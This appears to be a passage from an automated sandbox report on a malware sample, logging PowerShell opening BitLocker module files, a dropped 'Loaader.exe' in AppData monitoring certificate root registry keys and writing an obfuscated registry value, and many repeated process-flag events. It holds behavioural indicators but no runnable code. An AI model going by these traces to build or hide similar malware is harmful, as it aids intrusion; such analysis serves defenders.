Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Roaming\Loaader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Loaader.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\FF6BC8E90A1001FE1454 0E9733277EAC197C4EAF40FB0EADA0907388222EF21843488A8E591149768301

Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
